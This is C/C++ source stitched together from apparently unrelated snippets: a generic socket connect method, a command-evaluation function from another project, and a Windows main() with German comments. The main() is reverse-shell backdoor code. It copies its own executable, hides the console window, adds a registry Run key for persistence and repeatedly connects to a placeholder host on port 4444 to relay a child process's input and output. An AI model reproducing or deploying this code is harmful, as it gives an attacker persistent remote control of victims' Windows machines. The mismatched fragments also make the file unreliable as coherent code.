bool Socket::connect( std::string host, unsigned short port )
{
if( bValid && !bConnected )
{
getAddrFromString( host.c_str() );
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
int result = ::connect(sockfd,(struct sockaddr *) &addr,sizeof(addr));
#ifdef linux
if( result < 0){
perror("ERROR connecting");
close();
return false;
}
#else
if( result == SOCKET_ERROR )
{
printf("ERROR connecting! Error code: %d\n", WSAGetLastError() );
close();
return false;
}
#endif
bConnected = true;
return true;
}
return false;
}
string cUserVar::EvaluateConnectCmd(const cEvent* e)
{
if (varparser.connectAddr == "") return "";
int conn_s; /* connection socket */
struct sockaddr_in servaddr; /* socket address structure */
char buffer[MAX_LINE]; /* character buffer */
if ( (conn_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 )
{
LogFile.eSysLog("Error creating listening socket");
return "";
}
memset(&servaddr, 0, sizeof(varparser.connectAddr.c_str()));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(varparser.connectPort);
if (getAddrFromString(varparser.connectAddr.c_str(), &servaddr) != 0)
{
LogFile.eSysLog("Invalid remote address");
return "";
}
if ( connect(conn_s, (struct sockaddr *) &servaddr, sizeof(servaddr) ) < 0 )
{
LogFile.eSysLog("Error calling connect()");
return "";
}
varparser.compExpr = varparser.cmdArgs;
string resexp = EvaluateCompExpr(e, true);
sprintf(buffer, "%s\n", resexp.c_str());
Writeline(conn_s, buffer, strlen(buffer));
Readline(conn_s, buffer, MAX_LINE-1);
close(conn_s);
return buffer;
}
int main(int argc, char** argv)
{
char dyndns[] ="www.youradress.com";
//Get the CWD and append the new Filename for the Copy-Method of the exe itself.
//Note: Ugly one... leave it in his dark place alone and hope it will die someday..
char * buffer;
buffer = _getcwd(NULL, 0);
int counter =0;
for(int i = 0;;i++)
{
if(counter == 2)
{
if(buffer[i] == '\\' || buffer[i] == '>')
{
buffer[i] = 0;
break;
}
}
if(buffer[i]=='\\')
{
counter++;
}
}
strcat(buffer,"\\yourfilename.exe");
CopyFileA(argv[0],buffer,false);
#if !DEBUG
//Hideing the console window
HWND hWnd = GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE );
//Setting the console name for fun and profit
//char name[]="SPARTA";
//SetConsoleTitleA(name);
char subkey[]= "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//char cwd[1024];
//char asf[] = "lolololol";
//_getcwd(cwd,1024);
//strcat(cwd,"\\");
//strcpy(cwd,**argv);
//strcat(cwd,argv[0]);
DWORD shit=0;
RegSetValueA(HKEY_CURRENT_USER,subkey,REG_SZ, buffer, shit);
#endif
//Testausgabe
#if DEBUG
printf("Socket Client\n");
#endif
//Variablen initialisieren
long returnvalue;
SOCKADDR_IN addr;
SECURITY_ATTRIBUTES saAttr;
#if DEBUG
printf("\n->Start of parent execution.\n");
#endif
// Set the bInheritHandle flag so pipe handles are inherited.
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
// Create a pipe for the child process's STDOUT.
if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) )
exit(2);
// Ensure the read handle to the pipe for STDOUT is not inherited.
if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
exit(3);
// Create a pipe for the child process's STDIN.
if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
exit(4);
// Ensure the write handle to the pipe for STDIN is not inherited.
if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
exit(5);
// Create the child process.
CreateChildProcess();
//Weitere SOCKET Abhandlungen...
//Socket Verfügbarkeit prüfen
do
{
returnvalue = StartWinsock();
if(returnvalue != 0)
{
#if DEBUG
printf("[-] Fehler: StartWinsock Fehlercode: %d!\n",returnvalue);
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] Winsock gestartet!\n");
}
#endif
}
while(returnvalue != 0);
//Socket initialisieren
do
{
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock == INVALID_SOCKET)
{
#if DEBUG
printf("[-] Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] Socket erstellt!\n");
}
#endif
}
while(sock == INVALID_SOCKET);
//Port und IP übergabe
memset(&addr,0,sizeof(SOCKADDR_IN));
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
//addr.sin_addr.s_addr = inet_addr("127.0.0.1");
do
{
returnvalue = getAddrFromString(dyndns,&addr);
if(returnvalue == SOCKET_ERROR)
{
#if DEBUG
printf("[-] Fehler: IP für %s konnte nicht aufgeloest werden.\n");
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] IP aufgelöst!\n");
}
#endif
}
while(returnvalue == SOCKET_ERROR);
//Verbindungsaufbau
do
{
returnvalue = connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR));
if(returnvalue == SOCKET_ERROR)
{
#if DEBUG
printf("[-] Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError());
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] Verbindung hergestellt mit %s\n",argv[1]);
}
#endif
}
while(returnvalue == SOCKET_ERROR);
for(;;)
{
#if DEBUG
//Warten auf Input
printf("[-] Warte auf Input ...\n\n");
#endif
WriteToPipe();
ReadFromPipe();
if(exitOnForce)
{
#if DEBUG
printf("\n->SYSTEM GOING DOWN!\n");
#endif
break;
}
}
#if DEBUG
printf("\n->End of parent execution.\n");
#endif
// The remaining open handles are cleaned up when this process terminates.
// To avoid resource leaks in a larger application, close handles explicitly.
return 0;
}